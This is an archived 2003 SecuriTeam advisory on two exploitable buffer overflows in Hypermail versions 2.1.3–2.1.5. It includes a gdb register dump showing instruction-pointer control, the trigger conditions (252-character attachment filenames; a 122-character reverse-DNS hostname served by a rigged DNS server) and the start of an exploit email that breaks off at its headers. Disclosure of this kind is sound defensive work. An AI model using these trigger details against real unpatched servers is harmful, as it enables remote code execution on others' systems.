

[UNIX] Hypermail Buffer Overflows

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-01/0084.html>

From: support@securiteam.com

Date: 01/30/03

From: support@securiteam.com

To: list@securiteam.com

Date: 30 Jan 2003 10:53:06 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

Beyond Security would like to welcome Tiscali World Online to our service provider team.

For more info on their service offering IP-Secure, please visit http://www.worldonline.co.za/services/work_ip.asp

Hypermail Buffer Overflows

SUMMARY

Hypermail 2 is a much-enhanced version of the popular tool that converts mails into nicely formatted HTML pages. Version 2 has many new features including MIME support. Perfect for archiving mailing lists and similar. Ulf has found one exploitable buffer overflow in Hypermail's main program, Hypermail, and one in Hypermail's CGI program mail. The overflow in Hypermail can be exploited by sending e-mails to the program, but it only works if Hypermail is configured to use a certain option. The overflow in mail can be exploited by setting up a DNS server with evil data and then surfing to the CGI program in question.

DETAILS

Vulnerable systems:

* Hypermail versions 2.1.3, 2.1.4, 2.1.5, possibly others

Immune systems:

* Hypermail version 2.1.6

A) Hypermail

The main program, Hypermail, does not like the combination of long attachment filenames (252 characters) and the option progress set to 2.

Securiteam: [UNIX] Hypermail Buffer Overflows

```
Program received signal SIGSEGV, Segmentation fault.
0x55555555 in ?? ()
(gdb) whe
#0 0x55555555 in ?? ()
Cannot access memory at address 0x55555555
(gdb) i r
eax 0x0 0
ecx 0x0 0
edx 0x0 0
ebx 0x55555555 1431655765
esp 0xbfffe870 0xbfffe870
ebp 0x55555555 0x55555555
esi 0x55555555 1431655765
edi 0x55555555 1431655765
eip 0x55555555 0x55555555
eflags 0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
fctrl 0x37f 895
fstat 0x0 0
ftag 0xffff 65535
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
fop 0x0 0
xmm0 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
xmm1 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
xmm2 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
xmm3 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
xmm4 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
xmm5 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
xmm6 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
xmm7 {f = {0x0, 0x0, 0x0, 0x0}}
{f = {-nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff), -nan(0x7fffff)}}
mxcsr 0x1f80 8064
orig_eax 0xffffffff -1
(gdb) q
The program is running. Exit anyway? (y or n) y
$
```

Securiteam: [UNIX] Hypermail Buffer Overflows

There are also other buffer overruns in the parsemail function, including in the boundbuffer and the filename variables, but they do not seem to be exploitable.

B) Mail

The CGI program mail does a reverse look-up of the user's IP number and uses strcpy to copy the resulting host name to a fixed-size buffer of 80 chars. If you set up a DNS server, where your IP number reverses to a host name of 122 chars, this is also exploitable.

As this CGI program allows any mail to be sent from anyone to anyone, it can also be abused by spammers.

Workaround:

Set the option progress to something else than 2. Configure Hypermail not to use the CGI program mail, and then remove the mail program from your cgi-bin directory.

Solution:

Upgrade to version 2.1.6, which fixes all the problems mentioned above.

Vendor response:

The vendor was contacted on 23 January. Version 2.1.6 was released on 24 January.

Exploit:

```
From vsu@h130n1fls35oxxx.telia.com Thu Jan 23 21:06:32 2003
Return-Path: <vsu@h130n1fls35oxxx.telia.com>
Received: from localhost (vsu@localhost)
  by h130n1fls35oxxx.telia.com (8.11.6/8.11.6) with ESMTP id h0NK6W003189
  for <vsu@localhost.localdomain>; Thu, 23 Jan 2003 21:06:32 +0100 Date:
Thu, 23 Jan 2003 21:06:31 +0100 (CET)
From: VSU Security <vsu@h130n1fls35oxxx.telia.com>
To: vsu@h130n1fls35oxxx.telia.com
Subject: Hypermail test
Message-ID:
<Pine.LNX.4.44.0301232106050.3186-200000@h130n1fls35oxxx.telia.com>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED;
BOUNDARY="--740720036-1481337384-1043352391=:3186"
Status: RO
```

This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools.

Send mail to mime@docserver.cac.washington.edu for more info.

```
---740720036-1481337384-1043352391=:3186
Content-Type: TEXT/PLAIN; charset=US-ASCII
```

Hypermail test

